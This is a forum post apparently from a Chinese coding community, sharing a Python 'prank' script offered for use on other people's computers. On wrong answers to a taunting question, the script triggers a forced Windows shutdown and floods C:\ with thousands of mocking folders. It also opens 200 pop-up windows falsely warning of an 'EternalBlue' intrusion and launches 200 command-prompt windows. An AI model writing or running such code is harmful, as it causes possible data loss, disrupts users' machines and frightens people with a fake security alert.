猫史档案馆


集多种恶搞于一身的恶搞整合代码分享

用户:虚心的刺牙螺Qd_h虚心的刺牙螺Qd_h查看:0 回复:0 评论:0 创建时间:2022-05-21T20:09:11


import tkinter.messagebox
import os
import time
import tkinter as tk
import random
import threading


def spoofCeate():
    textList = ['哈哈', '上当了', '有意思吗', '你删得完吗', '还是放弃吧', '笑喵我了', '哈哈哈哈哈', '可不要乱删哦',
                '小心别把自己的文件夹删了哦']
    path = 'C:\\'
    for i in range(65, 91):
        for o in range(100):
            text = random.choice(textList)
            fileName = path+chr(i)+str(o)+text
            if not os.path.exists(fileName):
                os.mkdir(fileName)
    for i in range(97, 122):
        for o in range(100):
            text = random.choice(textList)
            fileName = path+chr(i)+str(o)+text
            if not os.path.exists(fileName):
                os.mkdir(fileName)

n = input("你喵还是人:")
if n == "猪":
    print("看来还是有自知之明的")
    time.sleep(10)
else:
    print("你再说一遍")
    os.system('shutdown -s -t 10')
    m = input("你喵还是人:")
    if m == "猪":
        print("知错就改,很好")
        os.system("shutdown -a")
        time.sleep(15)
    else:
        print("既然如此...")
        time.sleep(1)
        print("本天才就要制裁你电脑,啊哈哈")
        spoofCeate()

        def dow():
            window = tk.Tk()
            width = window.winfo_screenwidth()
            height = window.winfo_screenheight()
            a = random.randrange(0, width)
            b = random.randrange(0, height)
            window.title('Windows Errow')
            window.geometry("300x90" + "+" + str(a) + "+" + str(b))
            tk.Label(window,text='永恒之蓝入侵',bg='red',font=('楷体', 30),width=60, height=4).pack()
            window.mainloop()


        threads = []
        for i in range(200):
            t = threading.Thread(target=dow)
            threads.append(t)
            time.sleep(0.1)
            threads[i].start()
            os.system("start cmd")


回复

上一页1 页 / 共 0下一页